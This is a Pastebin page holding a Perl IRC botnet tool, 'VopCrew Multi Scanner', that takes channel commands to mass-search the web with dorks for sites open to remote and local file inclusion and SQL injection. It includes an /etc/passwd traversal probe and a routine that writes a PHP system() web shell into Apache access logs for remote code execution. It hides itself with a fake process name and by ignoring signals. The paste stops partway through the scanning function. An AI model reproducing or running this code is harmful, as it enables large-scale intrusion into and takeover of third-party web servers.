Advertisement
GreyPhantom

Indonesia LFI,SQLI,RFI scanner

Dec 26th, 2012
1,101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 36.93 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ############################################
  4. # VopCrew Multi Scanner v5.1               #
  5. # Coded by Vrs-hCk                         #
  6. # d00r[at]telkom[dot]net                   #
  7. # Copyleft © 2009 VopCrew UnderGrounD      #
  8. ############################################
  9. # perl vopcrew.txt help me !!!             #
  10. ############################################
  11.  
  12. use HTTP::Request;
  13. use LWP::UserAgent;
  14. use IO::Socket;
  15. use IO::Select;
  16. use Socket;
  17.  
  18. my $fakeproc  = $ARGV[6];
  19. $ircserver    = $ARGV[0] unless $ircserver;
  20. my $ircport   = $ARGV[1];
  21. my $nickname  = $ARGV[2];
  22. my $ident     = $ARGV[3];
  23. my $channel   = '#'.$ARGV[4];
  24. my $runner    = $ARGV[5];
  25. my $fullname  = '15(7@2VopCrew-Multi-Scanner15)';
  26.  
  27. my $injector  = $ARGV[7];
  28. my $phpshell  = $ARGV[8];
  29. my $rficmd    = '!rfi';
  30. my $lficmd    = '!lfi';
  31. my $mysqlcmd  = '!mysql';
  32. my $mssqlcmd  = '!mssql';
  33. my $alicmd    = '!log';
  34.  
  35. $rfi_result   = "v0pCr3w";
  36. $lfi_test     = "../../../../../../../../../../../../../../../etc/passwd%00";
  37. $lfi_output   = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
  38. $sql_test     = "'";
  39. $mysql_output = ("Query failed|Query Error|right syntax to use near");
  40. $mssql_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation");
  41.  
  42. my $success   = "\n [+] VopCrew Multi Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";
  43. my $failed    = "\n [-] perl $0 <host> <port> <nick> <ident> <chan> <admin> <fakeproc> <response> <phpshell>\n\n";
  44.  
  45. if (@ARGV != 9) { print $failed; exit(); } else { print $success; }
  46.  
  47. $SIG{'INT'}   = 'IGNORE';
  48. $SIG{'HUP'}   = 'IGNORE';
  49. $SIG{'TERM'}  = 'IGNORE';
  50. $SIG{'CHLD'}  = 'IGNORE';
  51. $SIG{'PS'}    = 'IGNORE';
  52.  
  53. chdir("/");
  54. $ircserver="$ARGV[0]" if $ARGV[0];
  55. $0 = "$fakeproc"."\0"x16;;
  56. my $pid = fork;
  57. exit if $pid;
  58. die "\n [!] Something Wrong !!!: $!" unless defined($pid);
  59.  
  60. our %irc_servers;
  61. our %DCC;
  62. my $dcc_sel = new IO::Select->new();
  63. $sel_client = IO::Select->new();
  64.  
  65. sub sendraw {
  66.     if ($#_ == '1') {
  67.     my $socket = $_[0];
  68.     print $socket "$_[1]\n";
  69.     } else {
  70.         print $IRC_cur_socket "$_[0]\n";
  71.     }
  72. }
  73.  
  74. sub connector {
  75.     my $mynick = $_[0];
  76.     my $ircserver_con = $_[1];
  77.     my $ircport_con = $_[2];
  78.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  79.     if (defined($IRC_socket)) {
  80.         $IRC_cur_socket = $IRC_socket;
  81.         $IRC_socket->autoflush(1);
  82.         $sel_client->add($IRC_socket);
  83.         $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  84.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  85.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  86.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  87.         nick("$mynick");
  88.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  89.         sleep 1;
  90.     }
  91. }
  92.  
  93. sub parse {
  94.     my $servarg = shift;
  95.     if ($servarg =~ /^PING \:(.*)/) {
  96.         sendraw("PONG :$1");
  97.     } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  98.         my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  99.         if ($args =~ /^\001VERSION\001$/) {
  100.             notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001");
  101.         }
  102.         if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
  103.             my $natrix = $1;
  104.             my $arg = $2;
  105.         }
  106.     }
  107.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  108.         if (lc($1) eq lc($mynick)) {
  109.             $mynick=$4;
  110.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  111.         }
  112.     } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  113.         nick("$mynick|".int rand(999));
  114.     } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  115.         $mynick = $2;
  116.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  117.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  118.         sendraw("MODE $nickname +Bx");
  119.         sendraw("JOIN $channel");
  120.         sendraw("PRIVMSG $channel :VopCrew UnderGround");
  121.         sendraw("PRIVMSG $runner :Hi $runner im here !!!");
  122.     }
  123. }
  124.  
  125. my $line_temp;
  126. while( 1 ) {
  127.     while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  128.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  129.     my @ready = $sel_client->can_read(0);
  130.     next unless(@ready);
  131.     foreach $fh (@ready) {
  132.         $IRC_cur_socket = $fh;
  133.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  134.         $nread = sysread($fh, $msg, 4096);
  135.         if ($nread == 0) {
  136.             $sel_client->remove($fh);
  137.             $fh->close;
  138.             delete($irc_servers{$fh});
  139.         }
  140.         @lines = split (/\n/, $msg);
  141.         $msg =~ s/\r\n$//;
  142.  
  143.         #####################################################################
  144.         ############################[ CMD LIST ]#############################
  145.         #####################################################################
  146.  
  147.         if ($msg=~ /PRIVMSG $channel :!help/){
  148.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 $rficmd <bug> <dork> | $lficmd <bug> <dork> ");
  149.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 $mysqlcmd / $mssqlcmd <bug> <dork> ");
  150.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 Apache Log Injection : $alicmd <host> <port> ");
  151.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 !id | !engine | !pid | !version | !about ");
  152.         }
  153.  
  154.         if ($msg=~ /PRIVMSG $channel :!id/){
  155.             &response();
  156.         }
  157.  
  158.         if ($msg=~ /PRIVMSG $channel :!version/){
  159.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Version15)12 VopCrew Multi Scanner v5.1");
  160.         }
  161.  
  162.         if ($msg=~ /PRIVMSG $channel :!engine/){
  163.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Engine15)12 Google, Bing, AllTheWeb, Altavista, ASK, UOL, LyCos, GoodSearch, Yahoo.");
  164.         }
  165.  
  166.         if ($msg=~ /PRIVMSG $channel :!pid/){
  167.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $$");
  168.         }
  169.  
  170.         if ($msg=~ /PRIVMSG $channel :!about/){
  171.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 VopCrew Multi Scanner v5.1");
  172.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Coded by Vrs-hCk - http://c0li.blogspot.com/");
  173.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Copyleft © 2009 VopCrew UnderGrounD");
  174.         }
  175.  
  176.         #####################################################################
  177.         ###############################[ RFI ]###############################
  178.         #####################################################################
  179.  
  180.         ##################################################################### Google Engine
  181.         if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  182.             if (my $pid = fork) {
  183.                 waitpid($pid, 0);
  184.             }
  185.             else {
  186.                 if (fork) { exit; } else {
  187.                     my $engx = "GooGLe";
  188.                     my $bugx = $1;
  189.                     my $d0rk = $2;
  190.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2VopCrew15)12 Dork :4 $d0rk");
  191.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2VopCrew15)12 File :4 $bugx");
  192.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2VopCrew15)7 Search Engine Loading ...");
  193.                     &rfiscan($engx,$bugx,$d0rk);
  194.                 }
  195.                 exit;
  196.             }
  197.         }
  198.  
  199.         ##################################################################### AllTheWeb Engine
  200.         if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  201.             if (my $pid = fork) {
  202.                 waitpid($pid, 0);
  203.             }
  204.             else {
  205.                 if (fork) { exit; } else {
  206.                     my $engx = "AllTheWeb";
  207.                     my $bugx = $1;
  208.                     my $d0rk = $2;
  209.                     &rfiscan($engx,$bugx,$d0rk);
  210.                 }
  211.                 exit;
  212.             }
  213.         }
  214.  
  215.         ##################################################################### Bing Engine
  216.         if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  217.             if (my $pid = fork) {
  218.                 waitpid($pid, 0);
  219.             }
  220.             else {
  221.                 if (fork) { exit; } else {
  222.                     my $engx = "Bing";
  223.                     my $bugx = $1;
  224.                     my $d0rk = $2;
  225.                     &rfiscan($engx,$bugx,$d0rk);
  226.                 }
  227.                 exit;
  228.             }
  229.         }
  230.  
  231.         ##################################################################### Altavista Engine
  232.         if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  233.             if (my $pid = fork) {
  234.                 waitpid($pid, 0);
  235.             }
  236.             else {
  237.                 if (fork) { exit; } else {
  238.                     my $engx = "ALtaViSTa";
  239.                     my $bugx = $1;
  240.                     my $d0rk = $2;
  241.                     &rfiscan($engx,$bugx,$d0rk);
  242.                 }
  243.                 exit;
  244.             }
  245.         }
  246.  
  247.         ##################################################################### ASK Engine
  248.         if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  249.             if (my $pid = fork) {
  250.                 waitpid($pid, 0);
  251.             }
  252.             else {
  253.                 if (fork) { exit; } else {
  254.                     my $engx = "AsK";
  255.                     my $bugx = $1;
  256.                     my $d0rk = $2;
  257.                     &rfiscan($engx,$bugx,$d0rk);
  258.                 }
  259.                 exit;
  260.             }
  261.         }
  262.  
  263.         ##################################################################### UoL Engine
  264.         if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  265.             if (my $pid = fork) {
  266.                 waitpid($pid, 0);
  267.             }
  268.             else {
  269.                 if (fork) { exit; } else {
  270.                     my $engx = "UoL";
  271.                     my $bugx = $1;
  272.                     my $d0rk = $2;
  273.                     &rfiscan($engx,$bugx,$d0rk);
  274.                 }
  275.                 exit;
  276.             }
  277.         }
  278.  
  279.         ##################################################################### LyCos Engine
  280.         if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  281.             if (my $pid = fork) {
  282.                 waitpid($pid, 0);
  283.             }
  284.             else {
  285.                 if (fork) { exit; } else {
  286.                     my $engx = "LyCos";
  287.                     my $bugx = $1;
  288.                     my $d0rk = $2;
  289.                     &rfiscan($engx,$bugx,$d0rk);
  290.                 }
  291.                 exit;
  292.             }
  293.         }
  294.  
  295.         ##################################################################### GoodSearch Engine
  296.         if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  297.             if (my $pid = fork) {
  298.                 waitpid($pid, 0);
  299.             }
  300.             else {
  301.                 if (fork) { exit; } else {
  302.                     my $engx = "GoodSearch";
  303.                     my $bugx = $1;
  304.                     my $d0rk = $2;
  305.                     &rfiscan($engx,$bugx,$d0rk);
  306.                 }
  307.                 exit;
  308.             }
  309.         }
  310.  
  311.         ##################################################################### Yahoo Engine
  312.         if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  313.             if (my $pid = fork) {
  314.                 waitpid($pid, 0);
  315.             }
  316.             else {
  317.                 if (fork) { exit; } else {
  318.                     my $engx = "YahOo";
  319.                     my $bugx = $1;
  320.                     my $d0rk = $2;
  321.                     &rfiscan($engx,$bugx,$d0rk);
  322.                 }
  323.                 exit;
  324.             }
  325.         }
  326.  
  327.         #####################################################################
  328.         ###############################[ LFI ]###############################
  329.         #####################################################################
  330.  
  331.         ##################################################################### Google Engine
  332.         if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  333.             if (my $pid = fork) {
  334.                 waitpid($pid, 0);
  335.             }
  336.             else {
  337.                 if (fork) { exit; } else {
  338.                     my $engx = "GooGLe";
  339.                     my $bugx = $1;
  340.                     my $d0rk = $2;
  341.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2VopCrew15)12 Dork :4 $d0rk");
  342.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2VopCrew15)12 File :4 $bugx");
  343.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2VopCrew15)7 Search Engine Loading ...");
  344.                     &lfiscan($engx,$bugx,$d0rk);
  345.                 }
  346.                 exit;
  347.             }
  348.         }
  349.  
  350.         ##################################################################### AllTheWeb Engine
  351.         if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  352.             if (my $pid = fork) {
  353.                 waitpid($pid, 0);
  354.             }
  355.             else {
  356.                 if (fork) { exit; } else {
  357.                     my $engx = "AllTheWeb";
  358.                     my $bugx = $1;
  359.                     my $d0rk = $2;
  360.                     &lfiscan($engx,$bugx,$d0rk);
  361.                 }
  362.                 exit;
  363.             }
  364.         }
  365.  
  366.         ##################################################################### Bing Engine
  367.         if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  368.             if (my $pid = fork) {
  369.                 waitpid($pid, 0);
  370.             }
  371.             else {
  372.                 if (fork) { exit; } else {
  373.                     my $engx = "Bing";
  374.                     my $bugx = $1;
  375.                     my $d0rk = $2;
  376.                     &lfiscan($engx,$bugx,$d0rk);
  377.                 }
  378.                 exit;
  379.             }
  380.         }
  381.  
  382.         ##################################################################### Altavista Engine
  383.         if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  384.             if (my $pid = fork) {
  385.                 waitpid($pid, 0);
  386.             }
  387.             else {
  388.                 if (fork) { exit; } else {
  389.                     my $engx = "ALtaViSTa";
  390.                     my $bugx = $1;
  391.                     my $d0rk = $2;
  392.                     &lfiscan($engx,$bugx,$d0rk);
  393.                 }
  394.                 exit;
  395.             }
  396.         }
  397.  
  398.         ##################################################################### ASK Engine
  399.         if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  400.             if (my $pid = fork) {
  401.                 waitpid($pid, 0);
  402.             }
  403.             else {
  404.                 if (fork) { exit; } else {
  405.                     my $engx = "AsK";
  406.                     my $bugx = $1;
  407.                     my $d0rk = $2;
  408.                     &lfiscan($engx,$bugx,$d0rk);
  409.                 }
  410.                 exit;
  411.             }
  412.         }
  413.  
  414.         ##################################################################### UoL Engine
  415.         if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  416.             if (my $pid = fork) {
  417.                 waitpid($pid, 0);
  418.             }
  419.             else {
  420.                 if (fork) { exit; } else {
  421.                     my $engx = "UoL";
  422.                     my $bugx = $1;
  423.                     my $d0rk = $2;
  424.                     &lfiscan($engx,$bugx,$d0rk);
  425.                 }
  426.                 exit;
  427.             }
  428.         }
  429.  
  430.         ##################################################################### LyCos Engine
  431.         if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  432.             if (my $pid = fork) {
  433.                 waitpid($pid, 0);
  434.             }
  435.             else {
  436.                 if (fork) { exit; } else {
  437.                     my $engx = "LyCos";
  438.                     my $bugx = $1;
  439.                     my $d0rk = $2;
  440.                     &lfiscan($engx,$bugx,$d0rk);
  441.                 }
  442.                 exit;
  443.             }
  444.         }
  445.  
  446.         ##################################################################### GoodSearch Engine
  447.         if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  448.             if (my $pid = fork) {
  449.                 waitpid($pid, 0);
  450.             }
  451.             else {
  452.                 if (fork) { exit; } else {
  453.                     my $engx = "GoodSearch";
  454.                     my $bugx = $1;
  455.                     my $d0rk = $2;
  456.                     &lfiscan($engx,$bugx,$d0rk);
  457.                 }
  458.                 exit;
  459.             }
  460.         }
  461.  
  462.         ##################################################################### Yahoo Engine
  463.         if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  464.             if (my $pid = fork) {
  465.                 waitpid($pid, 0);
  466.             }
  467.             else {
  468.                 if (fork) { exit; } else {
  469.                     my $engx = "YahOo";
  470.                     my $bugx = $1;
  471.                     my $d0rk = $2;
  472.                     &lfiscan($engx,$bugx,$d0rk);
  473.                 }
  474.                 exit;
  475.             }
  476.         }
  477.  
  478.         #####################################################################
  479.         ##############################[ MySQL ]##############################
  480.         #####################################################################
  481.  
  482.         ##################################################################### Google Engine
  483.         if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  484.             if (my $pid = fork) {
  485.                 waitpid($pid, 0);
  486.             }
  487.             else {
  488.                 if (fork) { exit; } else {
  489.                     my $engx = "GooGLe";
  490.                     my $bugx = $1;
  491.                     my $d0rk = $2;
  492.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)12 Dork :4 $d0rk");
  493.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)12 File :4 $bugx");
  494.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)7 Search Engine Loading ...");
  495.                     &mysqlscan($engx,$bugx,$d0rk);
  496.                 }
  497.                 exit;
  498.             }
  499.         }
  500.  
  501.         ##################################################################### AllTheWeb Engine
  502.         if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  503.             if (my $pid = fork) {
  504.                 waitpid($pid, 0);
  505.             }
  506.             else {
  507.                 if (fork) { exit; } else {
  508.                     my $engx = "AllTheWeb";
  509.                     my $bugx = $1;
  510.                     my $d0rk = $2;
  511.                     &mysqlscan($engx,$bugx,$d0rk);
  512.                 }
  513.                 exit;
  514.             }
  515.         }
  516.  
  517.         ##################################################################### Bing Engine
  518.         if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  519.             if (my $pid = fork) {
  520.                 waitpid($pid, 0);
  521.             }
  522.             else {
  523.                 if (fork) { exit; } else {
  524.                     my $engx = "Bing";
  525.                     my $bugx = $1;
  526.                     my $d0rk = $2;
  527.                     &mysqlscan($engx,$bugx,$d0rk);
  528.                 }
  529.                 exit;
  530.             }
  531.         }
  532.  
  533.         ##################################################################### Altavista Engine
  534.         if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  535.             if (my $pid = fork) {
  536.                 waitpid($pid, 0);
  537.             }
  538.             else {
  539.                 if (fork) { exit; } else {
  540.                     my $engx = "ALtaViSTa";
  541.                     my $bugx = $1;
  542.                     my $d0rk = $2;
  543.                     &mysqlscan($engx,$bugx,$d0rk);
  544.                 }
  545.                 exit;
  546.             }
  547.         }
  548.  
  549.         ##################################################################### ASK Engine
  550.         if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  551.             if (my $pid = fork) {
  552.                 waitpid($pid, 0);
  553.             }
  554.             else {
  555.                 if (fork) { exit; } else {
  556.                     my $engx = "AsK";
  557.                     my $bugx = $1;
  558.                     my $d0rk = $2;
  559.                     &mysqlscan($engx,$bugx,$d0rk);
  560.                 }
  561.                 exit;
  562.             }
  563.         }
  564.  
  565.         ##################################################################### UoL Engine
  566.         if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  567.             if (my $pid = fork) {
  568.                 waitpid($pid, 0);
  569.             }
  570.             else {
  571.                 if (fork) { exit; } else {
  572.                     my $engx = "UoL";
  573.                     my $bugx = $1;
  574.                     my $d0rk = $2;
  575.                     &mysqlscan($engx,$bugx,$d0rk);
  576.                 }
  577.                 exit;
  578.             }
  579.         }
  580.  
  581.         ##################################################################### Lycos Engine
  582.         if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  583.             if (my $pid = fork) {
  584.                 waitpid($pid, 0);
  585.             }
  586.             else {
  587.                 if (fork) { exit; } else {
  588.                     my $engx = "LyCos";
  589.                     my $bugx = $1;
  590.                     my $d0rk = $2;
  591.                     &mysqlscan($engx,$bugx,$d0rk);
  592.                 }
  593.                 exit;
  594.             }
  595.         }
  596.  
  597.         ##################################################################### GoodSearch Engine
  598.         if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  599.             if (my $pid = fork) {
  600.                 waitpid($pid, 0);
  601.             }
  602.             else {
  603.                 if (fork) { exit; } else {
  604.                     my $engx = "GoodSearch";
  605.                     my $bugx = $1;
  606.                     my $d0rk = $2;
  607.                     &mysqlscan($engx,$bugx,$d0rk);
  608.                 }
  609.                 exit;
  610.             }
  611.         }
  612.  
  613.         ##################################################################### Yahoo Engine
  614.         if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  615.             if (my $pid = fork) {
  616.                 waitpid($pid, 0);
  617.             }
  618.             else {
  619.                 if (fork) { exit; } else {
  620.                     my $engx = "YahOo";
  621.                     my $bugx = $1;
  622.                     my $d0rk = $2;
  623.                     &mysqlscan($engx,$bugx,$d0rk);
  624.                 }
  625.                 exit;
  626.             }
  627.         }
  628.  
  629.         #####################################################################
  630.         ##############################[ MSSQL ]##############################
  631.         #####################################################################
  632.  
  633.         ##################################################################### Google Engine
  634.         if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  635.             if (my $pid = fork) {
  636.                 waitpid($pid, 0);
  637.             }
  638.             else {
  639.                 if (fork) { exit; } else {
  640.                     my $engx = "GooGLe";
  641.                     my $bugx = $1;
  642.                     my $d0rk = $2;
  643.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)12 Dork :4 $d0rk");
  644.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)12 File :4 $bugx");
  645.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)7 Search Engine Loading ...");
  646.                     &mssqlscan($engx,$bugx,$d0rk);
  647.                 }
  648.                 exit;
  649.             }
  650.         }
  651.  
  652.         ##################################################################### AllTheWeb Engine
  653.         if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  654.             if (my $pid = fork) {
  655.                 waitpid($pid, 0);
  656.             }
  657.             else {
  658.                 if (fork) { exit; } else {
  659.                     my $engx = "AllTheWeb";
  660.                     my $bugx = $1;
  661.                     my $d0rk = $2;
  662.                     &mssqlscan($engx,$bugx,$d0rk);
  663.                 }
  664.                 exit;
  665.             }
  666.         }
  667.  
  668.         ##################################################################### Bing Engine
  669.         if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  670.             if (my $pid = fork) {
  671.                 waitpid($pid, 0);
  672.             }
  673.             else {
  674.                 if (fork) { exit; } else {
  675.                     my $engx = "Bing";
  676.                     my $bugx = $1;
  677.                     my $d0rk = $2;
  678.                     &mssqlscan($engx,$bugx,$d0rk);
  679.                 }
  680.                 exit;
  681.             }
  682.         }
  683.  
  684.         ##################################################################### Altavista Engine
  685.         if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  686.             if (my $pid = fork) {
  687.                 waitpid($pid, 0);
  688.             }
  689.             else {
  690.                 if (fork) { exit; } else {
  691.                     my $engx = "ALtaViSTa";
  692.                     my $bugx = $1;
  693.                     my $d0rk = $2;
  694.                     &mssqlscan($engx,$bugx,$d0rk);
  695.                 }
  696.                 exit;
  697.             }
  698.         }
  699.  
  700.         ##################################################################### ASK Engine
  701.         if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  702.             if (my $pid = fork) {
  703.                 waitpid($pid, 0);
  704.             }
  705.             else {
  706.                 if (fork) { exit; } else {
  707.                     my $engx = "AsK";
  708.                     my $bugx = $1;
  709.                     my $d0rk = $2;
  710.                     &mssqlscan($engx,$bugx,$d0rk);
  711.                 }
  712.                 exit;
  713.             }
  714.         }
  715.  
  716.         ##################################################################### UoL Engine
  717.         if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  718.             if (my $pid = fork) {
  719.                 waitpid($pid, 0);
  720.             }
  721.             else {
  722.                 if (fork) { exit; } else {
  723.                     my $engx = "UoL";
  724.                     my $bugx = $1;
  725.                     my $d0rk = $2;
  726.                     &mssqlscan($engx,$bugx,$d0rk);
  727.                 }
  728.                 exit;
  729.             }
  730.         }
  731.  
  732.         ##################################################################### Lycos Engine
  733.         if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  734.             if (my $pid = fork) {
  735.                 waitpid($pid, 0);
  736.             }
  737.             else {
  738.                 if (fork) { exit; } else {
  739.                     my $engx = "LyCos";
  740.                     my $bugx = $1;
  741.                     my $d0rk = $2;
  742.                     &mssqlscan($engx,$bugx,$d0rk);
  743.                 }
  744.                 exit;
  745.             }
  746.         }
  747.  
  748.         ##################################################################### GoodSearch Engine
  749.         if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  750.             if (my $pid = fork) {
  751.                 waitpid($pid, 0);
  752.             }
  753.             else {
  754.                 if (fork) { exit; } else {
  755.                     my $engx = "GoodSearch";
  756.                     my $bugx = $1;
  757.                     my $d0rk = $2;
  758.                     &mssqlscan($engx,$bugx,$d0rk);
  759.                 }
  760.                 exit;
  761.             }
  762.         }
  763.  
  764.         ##################################################################### Yahoo Engine
  765.         if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  766.             if (my $pid = fork) {
  767.                 waitpid($pid, 0);
  768.             }
  769.             else {
  770.                 if (fork) { exit; } else {
  771.                     my $engx = "YahOo";
  772.                     my $bugx = $1;
  773.                     my $d0rk = $2;
  774.                     &mssqlscan($engx,$bugx,$d0rk);
  775.                 }
  776.                 exit;
  777.             }
  778.         }
  779.  
  780.         #####################################################################
  781.         ##################################################################### Apache Log Injection
  782.         if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {
  783.             if (my $pid = fork) {
  784.                 waitpid($pid, 0);
  785.             }
  786.             else {
  787.                 if (fork) { exit; } else {
  788.                     &injectlog($1,$2);
  789.                 }
  790.                 exit;
  791.             }
  792.         }
  793.  
  794.         for(my $c=0; $c<= $#lines; $c++) {
  795.             $line = $lines[$c];
  796.             $line=$line_temp.$line if ($line_temp);
  797.             $line_temp='';
  798.             $line =~ s/\r$//;
  799.             unless ($c == $#lines) {
  800.                 parse("$line");
  801.             } else {
  802.                 if ($#lines == 0) {
  803.                     parse("$line");
  804.                 } elsif ($lines[$c] =~ /\r$/) {
  805.                     parse("$line");
  806.                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  807.                     parse("$line");
  808.                 } else {
  809.                     $line_temp = $line;
  810.                 }
  811.             }
  812.         }
  813.     }
  814. }
  815.  
  816. ##################################################################### Procedure
  817.  
  818. sub injectlog() {
  819.     my $host = $_[0];
  820.     my $port = $_[1];
  821.     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)12 Injecting7 ".$host.":".$port." 12Apache Access Log ...");
  822.     my $php = "<?php if(get_magic_quotes_gpc()){ \$_GET[c0li]=stripslashes(\$_GET[c0li]);} system(\$_GET[c0li]);?>";
  823.     $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 80, Proto => "tcp") ||
  824.     die sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)4 Cant Connect to7 ".$host.":".$port."");
  825.     print $sock "GET /vOpCrEw.UnderGrounD ".$php." HTTP/1.1\r\n";
  826.     print $sock "Host: ".$host."\r\n";
  827.     print $sock "Connection: close\r\n\r\n";
  828.     close($sock);
  829.     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12is Done ...");
  830.     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12RCE Parameter  ->3 c0li");
  831.     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12RCE Identifier ->3 vOpCrEw.UnderGrounD");
  832. }
  833.  
  834. sub rfiscan() {
  835.     my $engz = $_[0];
  836.     my $bugz = $_[1];
  837.     my $dork = $_[2];
  838.     my $contatore = 0;
  839.     if ($engz =~ /GooGLe/) {
